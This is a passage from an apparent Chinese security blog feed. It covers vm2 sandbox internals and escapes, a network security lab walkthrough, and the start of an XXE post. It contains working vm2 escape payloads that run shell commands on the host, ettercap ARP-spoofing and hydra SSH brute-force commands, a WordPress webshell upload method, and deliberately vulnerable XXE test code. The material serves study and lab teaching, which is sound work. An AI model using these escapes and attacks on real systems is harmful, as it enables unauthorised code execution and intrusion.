&lt;p&gt;这里调用了 &lt;code&gt;Decontextify.value&lt;/code&gt; ，实际上 &lt;code&gt;Decontextify&lt;/code&gt; 的实现和 &lt;code&gt;Contextify&lt;/code&gt; 是对称的，只是略微有一点细节上的区别。&lt;code&gt;Decontextify.value&lt;/code&gt; 首先会检查 &lt;code&gt;Contextified&lt;/code&gt; 中是否有这个对象，如果有直接返回，否则也会针对其进行一层代理&lt;/p&gt;
&lt;p&gt;从这个函数调用过程中我们看到，虽然vm2是针对很多对象都做了代理，但是当实际要发生一次函数调用的时候，必须要将代理的 “外壳” 给剥除掉，并且必须依靠nodejs提供的API来完成，而如果我们能够捕获到这个被剔除代理的对象，那么就能完成vm2的逃逸，这是vm2沙箱逃逸的核心原理&lt;/p&gt;
&lt;p&gt;之后执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a.i = () =&amp;gt; {};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;给a的属性i赋值，被代理的 &lt;code&gt;set&lt;/code&gt; 方法拦截&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200531111221966.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个时候的 &lt;code&gt;value&lt;/code&gt; 是一个函数， &lt;code&gt;Decontextify.value&lt;/code&gt; 针对其进行了封装，返回一个函数的代理，但是这个函数的代理中：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200531111430529.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们看到，如果我们访问这个函数代理对象的 &lt;code&gt;constructor&lt;/code&gt; 属性，返回的是 &lt;code&gt;host.Function&lt;/code&gt; !&lt;/p&gt;
&lt;p&gt;那我们之后将其取出来是不是就能逃出沙箱了呢？&lt;/p&gt;
&lt;p&gt;我们看最后一行代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;console.log(a.i); //访问对象的属性
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时a内部的i对象，实际上是一个函数的代理对象，当执行 &lt;code&gt;a.i&lt;/code&gt; 时，会被代理对象a的 &lt;code&gt;get&lt;/code&gt; 方法拦截&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200531111650333.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而不幸的是，vm2的作者显然考虑到了这一点，通过 &lt;code&gt;Contextify.value&lt;/code&gt; ，取出被代理之前的对象，所以最终我们得到的还是原来的函数。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200531111825969.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样我们就无法获得那个被代理的函数对象了。但是这里终究是有隐患的，如果我们能够获得这个被代理的对象，那么就能借此逃溢出vm2沙箱。至于究竟如何做到，请看下文vm2沙箱逃逸分析&lt;/p&gt;
</content:encoded></item><item><title>vm2沙箱逃逸分析</title><link>https://rayepeng.net/posts/vm2%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%88%86%E6%9E%90/</link><guid isPermaLink="true">https://rayepeng.net/posts/vm2%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%88%86%E6%9E%90/</guid><pubDate>Sat, 06 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;本文首发于安全客 &lt;a href=&quot;https://www.anquanke.com/post/id/207291&quot;&gt;https://www.anquanke.com/post/id/207291&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;vm2沙箱逃逸分析&lt;/h1&gt;
&lt;p&gt;前言：vm2中在版本的更迭中，存在多种逃逸方法，可以参考 &lt;a href=&quot;https://github.com/patriksimek/vm2/issues?q=is%3Aissue+author%3AXmiliaH+is%3Aclosed&quot;&gt;https://github.com/patriksimek/vm2/issues?q=is%3Aissue+author%3AXmiliaH+is%3Aclosed&lt;/a&gt; 但是 issue中都没有给出具体的分析，本文通过几个典型的案例来分析这些代码是如何逃逸出vm2的&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注：需要使用git进行回退 &lt;code&gt;git reset --hard 7ecabb1&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;案例1&lt;/h2&gt;
&lt;p&gt;代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;use strict&quot;;
const {VM} = require(&apos;vm2&apos;);
const untrusted = `var process;
Object.prototype.has=(t,k)=&amp;gt;{
	process = t.constructor(&quot;return process&quot;)();
}
&quot;&quot; in Buffer.from;
process.mainModule.require(&quot;child_process&quot;).execSync(&quot;whoami&quot;).toString()`
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看这个案例前，首先需要补充一点es6 proxy的知识 &lt;a href=&quot;https://es6.ruanyifeng.com/?search=weakmap&amp;amp;x=0&amp;amp;y=0#docs/proxy&quot;&gt;https://es6.ruanyifeng.com/?search=weakmap&amp;amp;x=0&amp;amp;y=0#docs/proxy&lt;/a&gt; (大神可以略过)&lt;/p&gt;
&lt;p&gt;先看一段代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var handler = {
    get () {
     console.log(&quot;get&quot;);
    }
  };

  var target = {};

  var proxy = new Proxy(target, handler);
  
  Object.prototype.has = function(){
    console.log(&quot;has&quot;);
  }
  
  proxy.a; //触发get
  &quot;&quot; in proxy; //触发has，这个has是在原型链上定义的
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在对象 &lt;code&gt;target&lt;/code&gt; 上定义了 &lt;code&gt;get&lt;/code&gt; 操作，会拦截对象属性的读取，所以当访问 &lt;code&gt;proxy.a&lt;/code&gt; 时，会打印出 &lt;code&gt;get&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;但是当执行 &lt;code&gt;&quot;&quot; in proxy&lt;/code&gt; 时，也会被 &lt;code&gt;has&lt;/code&gt;方法拦截，此时，我们虽然没有直接在 &lt;code&gt;target&lt;/code&gt; 对象上定义 &lt;code&gt;has&lt;/code&gt; 拦截操作，即代理的方法是可以被继承的。&lt;/p&gt;
&lt;p&gt;回到vm2逃逸的代码，vm2中实际运行的代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;use strict&quot;;

var process;

Object.prototype.has = function (t, k) {
    process = t.constructor(&quot;return process&quot;)();
};

&quot;&quot; in Buffer.from;
process.mainModule.require(&quot;child_process&quot;).execSync(&quot;whoami&quot;).toString()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Buffer.from&lt;/code&gt; 是一个代理对象，vm2的作者一开始并没有给vm2内部的Object 加上 has方法，所以我们可以自己给 &lt;code&gt;Object&lt;/code&gt; 对象的原型上添加 &lt;code&gt;has&lt;/code&gt; 方法，这时候运行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;&quot; in Buffer.from;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就会去执行我们定义好的has方法，由于 &lt;code&gt;proxy&lt;/code&gt; 的机制，参数 &lt;code&gt;t&lt;/code&gt; 是 &lt;code&gt;function Buffer.from&lt;/code&gt; ，这个function是在外部的，其上下文是 nodejs 的global下，所以访问其 &lt;code&gt;constructor&lt;/code&gt; 属性就获取到了外部的 &lt;code&gt;Function&lt;/code&gt;，从而拿到外部的 &lt;code&gt;process&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200531101107708.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而开发者的修复方案：添加上 has 方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590891160012.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到，没有修复之前，&lt;code&gt;Buffer.from&lt;/code&gt; 是没有拦截 &lt;code&gt;has&lt;/code&gt; 操作的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590891167907.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而修复之后：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/blog2-clipboard.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;由于 &lt;code&gt;Buffer.from&lt;/code&gt; 中已经存在了 has 方法，所以不会去原型链上查找&lt;/p&gt;
&lt;h2&gt;案例2&lt;/h2&gt;
&lt;p&gt;代码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;use strict&quot;;
const {VM} = require(&apos;vm2&apos;);
const untrusted = `var process;
try{
	Object.defineProperty(Buffer.from(&quot;&quot;), &quot;&quot;, {get set(){
		Object.defineProperty(Object.prototype,&quot;get&quot;,{get(){
			throw x=&amp;gt;x.constructor(&quot;return process&quot;)();
		}});
		return ()=&amp;gt;{};
	}});
}catch(e){
	process = e(()=&amp;gt;{});
}
process.mainModule.require(&quot;child_process&quot;).execSync(&quot;id&quot;).toString();`;
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同样地，需要补充一点js的知识：&lt;/p&gt;
&lt;p&gt;js的对象中，存在三种不同的属性：数据属性，访问器属性和内部属性。我们只看数据属性和访问器属性&lt;/p&gt;
&lt;p&gt;数据属性和访问器属性都存在 &lt;code&gt;[[Enumerable]]&lt;/code&gt; 和 &lt;code&gt;[[Configurable]]&lt;/code&gt; 特性&lt;/p&gt;
&lt;p&gt;不同点：以下特性属于数据属性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;[[Value]]&lt;/code&gt;：该属性的属性值，默认为&lt;code&gt;undefined&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[[Writable]]&lt;/code&gt;：是一个布尔值，表示属性值（&lt;code&gt;value&lt;/code&gt;）是否可改变（即是否可写），默认为&lt;code&gt;true&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以下特性属于访问器属性&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;[[Get]]&lt;/code&gt;：是一个函数，表示该属性的取值函数（getter），默认为&lt;code&gt;undefined&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;[[Set]]&lt;/code&gt;：是一个函数，表示该属性的存值函数（setter），默认为&lt;code&gt;undefined&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;var obj = {
    prop: let obj = {
    prop:123,
    Writable: true
}

let jbo = {
    get prop(){
        return &quot;get&quot;;
    },
    set prop(val){
        console.log(&quot;set&quot;+val);        
    }
}

console.log(obj.prop); //123
console.log(jbo.prop); //get
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们也可以通过 &lt;code&gt;Object.defineProperty&lt;/code&gt; 来设置对象的访问器属性&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let obj = {};
Object.defineProperty(obj, &quot;prop&quot;, {
    get(){
        return &quot;get&quot;;
    }
})
console.log(obj.prop);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们还可以这样写&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let obj = {};
Object.defineProperty(obj, &quot;prop&quot;, {
    get get(){
        console.log(&quot;get1&quot;); //get1
        return ()=&amp;gt;{return &quot;get2&quot;};
    }
})
console.log(obj.prop); //get2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这种情况下，会先执行 &lt;code&gt;get()&lt;/code&gt; 函数，打印 &lt;code&gt;get1&lt;/code&gt;，返回一个函数，作为 &lt;code&gt;prop&lt;/code&gt; 属性的 getter，之后访问 &lt;code&gt;obj.prop&lt;/code&gt; 时，就会打印 &lt;code&gt;get2&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;get(){
       console.log(&quot;get1&quot;);
       return ()=&amp;gt;{return &quot;get2&quot;};
   }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同理：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let obj = {};
Object.defineProperty(obj, &quot;prop&quot;, {
    get set(){
        console.log(&quot;set1&quot;);
        return (val)=&amp;gt;{console.log(&quot;set2&quot;)};
    }
})
obj.prop = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时会先执行一次 &lt;code&gt;set()&lt;/code&gt; 函数打印出 &lt;code&gt;set1&lt;/code&gt;，同时设置 &lt;code&gt;prop&lt;/code&gt; 属性的 setter 为 &lt;code&gt;(val)=&amp;gt;{console.log(&quot;set2&quot;)}&lt;/code&gt; 之后执行 &lt;code&gt;obj.prop = 1&lt;/code&gt; 时，就会打印 &lt;code&gt;set2&lt;/code&gt;;&lt;/p&gt;
&lt;p&gt;那么回过头来看vm2逃逸的代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var process;
try {
    let a = Buffer.from(&quot;&quot;)
    Object.defineProperty(a, &quot;&quot;, {
        get set() {
            Object.defineProperty(Object.prototype, &quot;get&quot;, {
                get: function get() {
                    throw function (x) {
                        return x.constructor(&quot;return process&quot;)();
                    };
                }
            });
            return ()=&amp;gt;{};
        }

    });
} catch (e) {
    process = e(() =&amp;gt; {});
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行的过程如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/vm2-Page-6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;参考前文 vm2 实现原理分析，此时得到的a是一个代理对象，当我们在a上定义新属性的时候，被代理的 &lt;code&gt;defineProperty&lt;/code&gt; 拦截&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1591427976885.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;检测传入的 &lt;code&gt;descriptor&lt;/code&gt; 上是否设置了 get和set，如果是，调用外部的 &lt;code&gt;host.Object.defineProperty&lt;/code&gt; 去实现设置对象属性的&lt;/p&gt;
&lt;p&gt;但是在执行 &lt;code&gt;descriptor.get&lt;/code&gt; 的时候，由于 &lt;code&gt;nodejs&lt;/code&gt;是异步的，此时已经执行了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Object.defineProperty(Object.prototype, &quot;get&quot;, {
                get: function get() {
                    throw function (x) {
                        return x.constructor(&quot;return process&quot;)();
                    };
                }
            });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，&lt;code&gt;descriptor.get&lt;/code&gt; 会沿着原型链寻找到 &lt;code&gt;get&lt;/code&gt;, 并且抛出异常，&lt;code&gt;throw x=&amp;gt;x.constructor(&quot;return process&quot;)();&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这个抛出的异常，最先被vm2内部捕获到，就是图中的e&lt;/p&gt;
&lt;p&gt;vm2 需要将其包装成一个代理对象之后，继续抛出，所以这个异常被我们写的代码捕获到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1591427979718.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;vm2抛出的异常，被我们的代码捕获到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1591427981854.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后我们将其作为函数来调用，那就会触发这个函数代理对象的 &lt;code&gt;apply&lt;/code&gt; 方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1591427984587.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里的 &lt;code&gt;target&lt;/code&gt; 就是 &lt;code&gt;x=&amp;gt;x.constructor(&apos;return process&apos;)()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;context&lt;/code&gt; 是函数的上下文代理，通过 &lt;code&gt;Decontextify.value&lt;/code&gt; 之后是 &lt;code&gt;underfined&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;args&lt;/code&gt; 是函数的参数代理，其值为 &lt;code&gt;() =&amp;gt; {}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;真正的函数调用发生在&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Contextify.value(fnc.apply(context, Decontextify.arguments(args)));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里可以做一下拆分&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let func_arg = Decontextify.arguments(args);

let fnc_result = fnc.apply(context, func_arg);

let res = Contextify.value(fnc_result);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;逻辑上看，先将函数的参数做一次处理，然后通过反射调用函数，再将得到的结果包装成代理&lt;/p&gt;
&lt;p&gt;问题出在对函数的参数处理上，此处的函数参数为 &lt;code&gt;() =&amp;gt; {}&lt;/code&gt; ，是一个函数，并不是代理对象&lt;/p&gt;
&lt;p&gt;所以 &lt;code&gt;Decontextify&lt;/code&gt; 将其做了一次包装，使之成为一个代理对象&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1591427987679.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然而问题在于，这个函数的代理对象中的get方法的实现&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1591427990942.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当访问 &lt;code&gt;constructor&lt;/code&gt; 属性的时候，得到的是 &lt;code&gt;host.Function&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1591427993085.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这就导致逃溢出沙箱了&lt;/p&gt;
</content:encoded></item><item><title>网安实验综合</title><link>https://rayepeng.net/posts/%E7%BD%91%E5%AE%89%E5%AE%9E%E9%AA%8C%E7%BB%BC%E5%90%88/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E7%BD%91%E5%AE%89%E5%AE%9E%E9%AA%8C%E7%BB%BC%E5%90%88/</guid><pubDate>Sun, 24 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;实验拓扑图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/blog2-clipboard.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;任务1&lt;/h2&gt;
&lt;p&gt;192.168.1.3 定时登录 192.168.1.4 的ftp服务，通过分析流量包可以发现&lt;/p&gt;
&lt;p&gt;使用 ettercap 进行网络嗅探&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ettercap -i eth1 -Tq -L sniffeddata -M arp:remote //192.168.1.4/21//
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319617635.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;登录ftp服务即可得到 key.txt 内容&lt;/p&gt;
&lt;p&gt;同时还发现 192.168.1.4 存在WebLogic 反序列化漏洞，工具包位于 /home/Hack 目录下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319617624.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;读到 key1.txt 内容&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319617828.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;任务2&lt;/h2&gt;
&lt;p&gt;192.168.1.5 运行了 wordpress 站点，访问得到 key2.txt&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319618084.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这居然是wordpress后台的密码。(这里没办法利用wordpress-rce那个脚本)&lt;/p&gt;
&lt;p&gt;登录到wordpress后台需要 getshell&lt;/p&gt;
&lt;p&gt;这里下载一个 wordpress 的主题，我下载了这个 &lt;a href=&quot;https://wordpress.org/plugins/simple-shortcode-block/&quot;&gt;https://wordpress.org/plugins/simple-shortcode-block/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后将其中的index.php 修改为一句话木马，通过后台上传，这个时候即getshell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319618735.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319619225.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下载 username.txt 即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319618894.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;任务3&lt;/h2&gt;
&lt;p&gt;使用hydra 暴力破解 192.168.1.6 的ssh口令，已经知道了口令形式为 hacker***&lt;/p&gt;
&lt;p&gt;直接写个脚本生成下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;password = &quot;hacker&quot;

a = &quot;0123456789&quot;

f = open(&quot;pass.txt&quot;, &quot;w&quot;)
for i in a:
    for j in a:
        for k in a:
            ppp = password + i + j + k
            f.writelines(ppp)
            f.writelines(&quot;\n&quot;)

f.close()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;爆破出来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319619093.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;登录之后发现有两块网卡&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319619298.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;nmap扫描一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319619549.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;任务4&lt;/h2&gt;
&lt;p&gt;在 192.168.1.6(centos) 上配置openvpn服务端，在192.168.1.5(windows) 上连接&lt;/p&gt;
&lt;p&gt;通过 scp 拷贝文件到 192.168.1.6 上&lt;/p&gt;
&lt;p&gt;之后yum install一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yum localinstall openvpn-2.4.4-1.el7.x86_64.rpm  easy-rsa-2.2.2-1.el5.noarch.rpm  lz4-1.7.5-2.el7.x86_64.rpm pkcs11-helper-1.11-3.el7.x86_64.rpm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后开始配置vpn&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@simple openvpn]# cp /usr/share/doc/openvpn-2.4.4/sample/sample-config-files/server.conf /etc/openvpn/
[root@simple openvpn]# cd /etc/openvpn/
[root@simple openvpn]# ls
client  server  server.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改配置文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319619430.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;生成ca&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319619490.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;生成服务端证书&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319619589.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;开启openvpn&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319619654.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;windows配置文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-&amp;gt;|##############################################
# Sample client-side OpenVPN 2.0 config file #
# for connecting to multi-client server.     #
#                                            #
# This configuration can be used by multiple #
# clients, however each client should have   #
# its own cert and key files.                #
#                                            #
# On Windows, you might want to rename this  #
# file so it has a .ovpn extension           #
##############################################

# Specify that we are a client and that we
# will be pulling certain config file directives
# from the server.
client

# Use the same setting as you are using on
# the server.
# On most systems, the VPN will not function
# unless you partially or fully disable
# the firewall for the TUN/TAP interface.
;dev tap
dev tun

# Windows needs the TAP-Win32 adapter name
# from the Network Connections panel
# if you have more than one.  On XP SP2,
# you may need to disable the firewall
# for the TAP adapter.
;dev-node MyTap

# Are we connecting to a TCP or
# UDP server?  Use the same setting as
# on the server.
;proto tcp
proto udp

# The hostname/IP and port of the server.
# You can have multiple remote entries
# to load balance between the servers.
remote 192.168.1.6 1194
;remote my-server-2 1194

# Choose a random host from the remote
# list for load-balancing.  Otherwise
# try hosts in the order specified.
;remote-random

# Keep trying indefinitely to resolve the
# host name of the OpenVPN server.  Very useful
# on machines which are not permanently connected
# to the internet such as laptops.
resolv-retry infinite

# Most clients don&apos;t need to bind to
# a specific local port number.
nobind

# Downgrade privileges after initialization (non-Windows only)
;user nobody
;group nobody

# Try to preserve some state across restarts.
persist-key
persist-tun

# If you are connecting through an
# HTTP proxy to reach the actual OpenVPN
# server, put the proxy server/IP and
# port number here.  See the man page
# if your proxy server requires
# authentication.
;http-proxy-retry # retry on connection failures
;http-proxy [proxy server] [proxy port #]

# Wireless networks often produce a lot
# of duplicate packets.  Set this flag
# to silence duplicate packet warnings.
;mute-replay-warnings

# SSL/TLS parms.
# See the server config file for more
# description.  It&apos;s best to use
# a separate .crt/.key file pair
# for each client.  A single ca
# file can be used for all clients.
ca ca.crt
cert client.crt
key client.key

# Verify server certificate by checking
# that the certicate has the nsCertType
# field set to &quot;server&quot;.  This is an
# important precaution to protect against
# a potential attack discussed here:
#  http://openvpn.net/howto.html#mitm
#
# To use this feature, you will need to generate
# your server certificates with the nsCertType
# field set to &quot;server&quot;.  The build-key-server
# script in the easy-rsa folder will do this.
;ns-cert-type server

# If a tls-auth key is used on the server
# then every client must also have the key.
tls-auth ta.key 1

# Select a cryptographic cipher.
# If the cipher option is used on the server
# then you must also specify it here.
cipher AES-256-CBC

# Enable compression on the VPN link.
# Don&apos;t enable this unless it is also
# enabled in the server config file.
;comp-lzo

# Set log file verbosity.
verb 3

# Silence repeating messages
mute 20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;连接报错，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319619815.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;google 知道是时间不同步，手动修改Windows时间正常连接&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;权限不够&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319619826.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;管理员身份打开命令行，cd到配置文件目录下，输入 openvpn 配置文件名 即可&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;无法ping 通&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://note.youdao.com/yws/public/resource/1fad93d26e758145d0fe5ef5484d707f/xmlnote/880F9FEB76CC451983ACD136DC135B02/2778&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;需要修改服务端配置文件&lt;/p&gt;
&lt;p&gt;成功连接后可以访问到 192.168.2.3&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319620274.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;弱口令登录 phpmyadmin，得到后台密码 1q2w3e4r&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319620440.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将工具拷贝到 192.168.1.5 中&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319620712.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319620757.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;getshell&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319620817.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后得到key&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/clipboard-1590319621019.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>XXE漏洞分析及实战</title><link>https://rayepeng.net/posts/xxe%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E5%AE%9E%E6%88%98/</link><guid isPermaLink="true">https://rayepeng.net/posts/xxe%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E5%AE%9E%E6%88%98/</guid><pubDate>Sun, 10 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;XXE漏洞分析及实战&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreibpyhsxugvx3jngnspcbweekp5asywvwpv72nybem7naignkt5mz4.png&quot; alt=&quot;XXE&quot; /&gt;&lt;/p&gt;
&lt;p&gt;常用payload分析&lt;/p&gt;
&lt;p&gt;好像大家都用这个测试代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

libxml_disable_entity_loader(false);

$xmlfile = file_get_contents(&quot;php://input&quot;);
$dom = new DOMDocument();
$dom-&amp;gt;loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
